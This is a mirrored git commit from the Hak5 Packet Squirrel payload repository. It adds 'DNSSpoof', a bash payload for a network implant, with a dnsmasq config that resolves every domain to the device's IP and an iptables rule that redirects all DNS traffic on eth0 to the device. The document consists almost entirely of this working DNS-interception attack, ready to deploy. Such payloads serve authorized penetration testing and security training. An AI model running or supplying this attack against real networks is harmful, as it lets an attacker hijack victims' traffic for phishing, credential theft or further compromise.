mirror of
https://github.com/hak5/packetsquirrel-payloads.git
synced 2025-12-19 17:58:49 +00:00
Basic payload organization (#9)
This commit is contained in:
committed by
Sebastian Kinne
parent
b6ab3cc61f
commit
81911c6f11
36
payloads/library/interception/dnsspoof/payload.sh
Executable file
36
payloads/library/interception/dnsspoof/payload.sh
Executable file
@@ -0,0 +1,36 @@
|
||||
#!/bin/bash
|
||||
#
|
||||
# Title: DNSSpoof
|
||||
# Description: Forge replies to arbitrary DNS queries using DNSMasq
|
||||
# Author: Hak5
|
||||
# Version: 1.0
|
||||
# Category: interception
|
||||
# Target: Any
|
||||
# Net Mode: NAT
|
||||
|
||||
|
||||
function setup() {
|
||||
# Show SETUP LED
|
||||
LED SETUP
|
||||
|
||||
# Set the network mode to NAT
|
||||
NETMODE NAT
|
||||
sleep 5
|
||||
|
||||
# Copy the spoofhost file to /tmp/dnsmasq.address
|
||||
cp $(dirname ${BASH_SOURCE[0]})/spoofhost /tmp/dnsmasq.address &> /dev/null
|
||||
|
||||
# Restart dnsmasq with the new configuration
|
||||
/etc/init.d/dnsmasq restart
|
||||
}
|
||||
|
||||
function run() {
|
||||
# Show ATTACK LED
|
||||
LED ATTACK
|
||||
|
||||
# Redirect all DNS traffic to ourselves
|
||||
iptables -A PREROUTING -t nat -i eth0 -p udp --dport 53 -j REDIRECT --to-port 53
|
||||
}
|
||||
|
||||
setup
|
||||
run
|
||||
2
payloads/library/interception/dnsspoof/spoofhost
Normal file
2
payloads/library/interception/dnsspoof/spoofhost
Normal file
@@ -0,0 +1,2 @@
|
||||
address=/#/172.16.32.1
|
||||
|
||||
Reference in New Issue
Block a user